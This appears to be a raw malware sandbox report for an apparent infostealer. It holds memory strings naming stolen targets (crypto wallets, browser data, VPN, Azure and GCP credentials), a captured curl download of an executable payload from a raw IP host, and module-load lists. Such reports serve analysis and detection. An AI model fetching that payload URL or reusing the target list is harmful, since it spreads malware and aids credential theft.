"Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00006700.00000003.278508.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00006700.00000003.278508.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006700.00000003.278508.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\AvastBrowser.exe" in Source: 00000000-00006700.00000003.278508.BB370000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00006976.00000000.274085.40573000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Temp\rxclient_1792193633610221700\output\Software\installed_software.txt" in Source: 00000000-00006976.00000001.276006.40540000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Temp\rxclient_1792193633610221700\output\Software\installed_software.txt" in Source: 00000000-00006976.00000001.276006.40540000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Temp\rxclient_1792193633610221700\output\Software\installed_software.txt" in Source: 00000000-00006976.00000001.276006.40567000.00000004.mdmp "+ Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Unin ..." in Source: 00000000-00006976.00000001.276006.40567000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00006976.00000001.276006.40573000.00000004.mdmp "+ Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Unin ..." in Source: 00000000-00006976.00000001.276006.4211E000.00000004.mdmp "[VPN] collected[LATERAL] collectedWalletsGoogle\Chrome\User DataChromeMicrosoft\Edge\User DataEdgeBraveSoftware\Brave-Browser\User DataBrave[WALLETS] collectedLocal Extension SettingsCloudCredentials.azure.gcp" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "Opera Software\Opera StableOperaVivaldi\User DataVivaldi[CHROMIUM] collectedGoogleBrowsersinstalled_browsers.txt[BROWSERS] collectedGet-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServerProxyOverride*.invalid URL, scheme is not httpinvalid URL, host is missinginvalid URL, scheme is missingtcp open errortcp set_nonblocking errortcp bind local error" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Microsoft Edge\shell\open\command" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Brave\shell\open\command" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Avast Secure Browser" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Avast Secure Browser" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Avast Secure Browser\shell\open\command" in Source: 00000000-00006976.00000002.277927.0CE18000.00000002.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lss.exe" in Source: 00000000-00006976.00000002.277927.40540000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Temp\rxclient_1792193633610221700\output\Software\installed_software.txt" in Source: 00000000-00006976.00000002.277927.40540000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Temp\rxclient_1792193633610221700\output\Software\installed_software.txt" in Source: 00000000-00006976.00000002.277927.40540000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Temp\rxclient_1792193633610221700\output\Software\installed_software.txt" in Source: 00000000-00006976.00000002.277927.40567000.00000004.mdmp "+ Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Unin ..." in Source: 00000000-00006976.00000002.277927.40567000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00006976.00000002.277927.40573000.00000004.mdmp "+ Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Unin ..." in Source: 00000000-00006976.00000002.277927.405BC000.00000004.mdmp "+ Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Unin ..." in Source: 00000000-00006976.00000002.277927.4211E000.00000004.mdmp ""powershell" -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName"" in Source: 00000000-00008084.00000000.274159.23AE0000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00008084.00000000.274159.23AE0000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00008084.00000000.274159.23DF0000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00008084.00000000.274159.23E20000.00000004.mdmp ""powershell" -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName"" in Source: 00000000-00008084.00000001.275066.23AE0000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00008084.00000001.275066.23AE0000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00008084.00000001.275066.23B05000.00000004.mdmp " HostApplication=powershell -Command Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00008084.00000001.275066.23B0A000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008084.00000001.275066.23B0A000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00008084.00000001.275066.23B0A000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008084.00000001.275066.23B0A000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00008084.00000001.275066.23E20000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: 00000000-00008084.00000001.275066.3E4D9000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00008084.00000001.275066.F2CAA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00008084.00000001.275066.F2CAA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00008084.00000001.275066.F2CAA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008084.00000001.275066.F2CAA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00008084.00000001.275066.F2CAA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00008084.00000001.275066.F2CAA000.00000002.mdmp48:T6fe,"GET /wilow/uzbektajik.bin HTTP/1.1 Host: 107.175.82.242:9000 User-Agent: curl/8.15.0 Accept: */*" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 10748437 Content-Type: binary/octet-stream ETag: "03aa68066d9c84f008f46267e1046ebf" Last-Modified: Fri 16 Oct 2026 21:48:33 GMT Server: MinIO Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Origin Vary: Accept-Encoding X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8 X-Amz-Request-Id: 18DF269D2AE548CB X-Content-Type-Options: nosniff X-Ratelimit-Limit: 1023 X-Ratelimit-Remaining: 1023 X-Xss-Protection: 1; mode=block Date: Fri 16 Oct 2026 23:33:53 GMT with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /json/?fields=countryCode HTTP/1.1 accept: */* host: ip-api.com" Response ==> HTTP/1.1 200 OK Date: Fri 16 Oct 2026 23:33:55 GMT Content-Type: application/json; charset=utf-8 Content-Length: 20 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 with response body ==>7B22636F756E747279436F6465223A225553227D....... "GET /json/?fields=countryCode HTTP/1.1 accept: */* host: ip-api.com" Response ==> HTTP/1.1 200 OK Date: Fri 16 Oct 2026 23:33:56 GMT Content-Type: application/json; charset=utf-8 Content-Length: 20 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 with response body ==>7B22636F756E747279436F6465223A225553227D....... "GET /json/?fields=countryCode HTTP/1.1 accept: */* host: ip-api.com" Response ==> HTTP/1.1 200 OK Date: Fri 16 Oct 2026 23:33:56 GMT Content-Type: application/json; charset=utf-8 Content-Length: 20 Access-Control-Allow-Origin: * X-Ttl: 59 X-Rl: 43 with response body ==>7B22636F756E747279436F6465223A225553227D.......49:T32dd,"file.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe0f2f0000 "file.exe" loaded module "API-MS-WIN-CORE-FILE-L1-2-1.DLL" at base 7ffe32160000 "file.exe" loaded module "DBGHELP.DLL" at base 7ffe28fb0000 "file.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe30460000 "file.exe" loaded module "RPCRT4.DLL" at base 7ffe34f80000 "file.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffe32160000 "file.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffe27a90000 "file.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffe25c90000 "file.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffe32160000 "file.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffe32160000 "file.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffe253f0000 "file.exe" loaded module "NTDLL.DLL" at base 7ffe35ad0000 "file.exe" loaded module "NTOSKRNL.EXE" at base 7ff686e60000 "file.exe" loaded module "KERNEL32.DLL" at base 7ffe35990000 "file.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffe301b0000 "file.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffe31e40000 "uzbektajik.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe0f2f0000 "uzbektajik.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffe316b0000 "uzbektajik.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffe2aa40000 "uzbektajik.exe" loaded module "RPCRT4.DLL" at base 7ffe34f80000 "uzbektajik.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffe2bb80000 "uzbektajik.exe" loaded module "NTDLL.DLL" at base 7ffe35ad0000 "uzbektajik.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffe301b0000 "helper.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe0f2f0000 "helper.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe32160000 "helper.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe32160000 "helper.exe" loaded module "KERNEL32" at base 7ffe35990000 "helper.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffe32160000 "helper.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffe32160000 "helper.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffe32160000 "helper.exe" loaded module "NTDLL.DLL" at base 7ffe35ad0000 "helper.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffe31e40000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe0f2f0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffe35990000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffe358e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe32160000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe32160000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe32160000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffe0cf00000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffe33ae0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffe31e40000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffe29230000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffe04e20000 "powershell.exe" loaded module "USER32.DLL" at base 7ffe33950000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffe32160000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffe16860000 "powershell.exe" loaded module "NTDLL" at base 7ffe35ad0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffe332d0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffe35330000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffe34f80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffe03820000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffe33170000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffe332d0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffe33820000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffe02bb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffe02130000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffe0cd90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe312c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffe32d50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffe000c0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffe332d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffe332d0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffe35ad0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffe33b40000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffe323d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffe323d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffe32dd0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffe32dd0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffe1dee0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe29230000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffe1cbf0000 "powershell.exe" loaded module "KERNEL32" at base 7ffe35990000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\8AO2461E.DLL" at base 7ffe1cad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffdffe50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffdffce0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffdff200000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffdfe950000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffe195d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffdff370000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffdfe5e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffe32160000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffdfe490000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe13020000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffdfe270000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffdfe3b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffe1a240000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffe291f0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffe31d50000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffe30f10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe30460000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffdfe190000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffe35990000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffe31d20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffe358e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffe332d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffdfdf50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffe1e3a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffdfc890000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffe337f0000 "tasklist.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe0f2f0000 "tasklist.exe" loaded module "RPCRT4.DLL" at base 7ffe34f80000 "tasklist.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffe32160000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffe27a90000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WINSTA.DLL" at base 7ffe30fd0000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffe25c90000 "tasklist.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffe32160000 "tasklist.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffe32160000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffe253f0000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ffe253c0000 "tasklist.exe" loaded module "NTDLL.DLL" at base 7ffe35ad0000 "lss.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe0f2f0000 "netsh.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe0f2f0000 "netsh.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 7ffe31e40000 "netsh.exe" loaded module "IFMON.DLL" at base 7ffe1f530000 "netsh.exe" loaded module "MPRAPI.DLL" at base 7ffe0f260000 "netsh.exe" loaded module "MSVCRT.DLL" at base 7ffe335e0000 "netsh.exe" loaded module "RASMONTR.DLL" at base 7ffe13120000 "netsh.exe" loaded module "AUTHFWCFG.DLL" at base 7ffdfdd50000 "netsh.exe" loaded module "DHCPCMONITOR.DLL" at base 7ffe1f400000 "netsh.exe" loaded module "DOT3CFG.DLL" at base 7ffe1be10000 "netsh.exe" loaded module "FWCFG.DLL" at base 7ffe19770000 "netsh.exe" loaded module "HNETMON.DLL" at base 7ffe1f370000 "netsh.exe" loaded module "NETIOHLP.DLL" at base 7ffe127b0000 "netsh.exe" loaded module "NETTRACE.DLL" at base 7ffdfd950000 "netsh.exe" loaded module "NSHHTTP.DLL" at base 7ffe1e470000 "netsh.exe" loaded module "NSHIPSEC.DLL" at base 7ffdfd8f0000 "netsh.exe" loaded module "RPCRT4.DLL" at base 7ffe34f80000 "netsh.exe" loaded module "NSHWFP.DLL" at base 7ffdfd780000 "netsh.exe" loaded module "P2PNETSH.DLL" at base 7ffdfd740000 "netsh.exe" loaded module "RPCNSH.DLL" at base 7ffe1e390000 "netsh.exe" loaded module "WCNNETSH.DLL" at base 7ffe14390000 "netsh.exe" loaded module "WHHELPER.DLL" at base 7ffe1ded0000 "netsh.exe" loaded module "WLANCFG.DLL" at base 7ffdfd6b0000 "netsh.exe" loaded module "WSHELPER.DLL" at base 7ffe1cf60000 "netsh.exe" loaded module "WWANCFG.DLL" at base 7ffe14140000 "netsh.exe" loaded module "PEERDISTSH.DLL" at base 7ffdfd5a0000 "netsh.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7ffe332d0000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe30460000 "netsh.exe" loaded module "WCMAPI.DLL" at base 7ffe1c150000 "netsh.exe" loaded module "USERENV.DLL" at base 7ffe31d20000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\SPPC.DLL" at base 7ffe24740000 "netsh.exe" loaded module "KERNEL32.DLL" at base 7ffe35990000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffe32d50000 "netsh.exe" loaded module "MPRMSG.DLL" at base 7ffe14010000 "netsh.exe" loaded module "OLEAUT32.DLL" at base 7ffe338200004a:T565,"file.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 32D50000 "file.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 31980000 "curl.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 31980000 "curl.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 32D50000 "uzbektajik.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 32D50000 "uzbektajik.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 31980000 "itsub.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 32D50000 "itsub.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 31980000 "helper.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 32D50000 "powershell.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 32D50000 "powershell.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 31980000 "tasklist.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 32D50000 "tasklist.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 31980000 "whoami.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 32D50000 "whoami.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 31980000 "lss.exe" loaded module 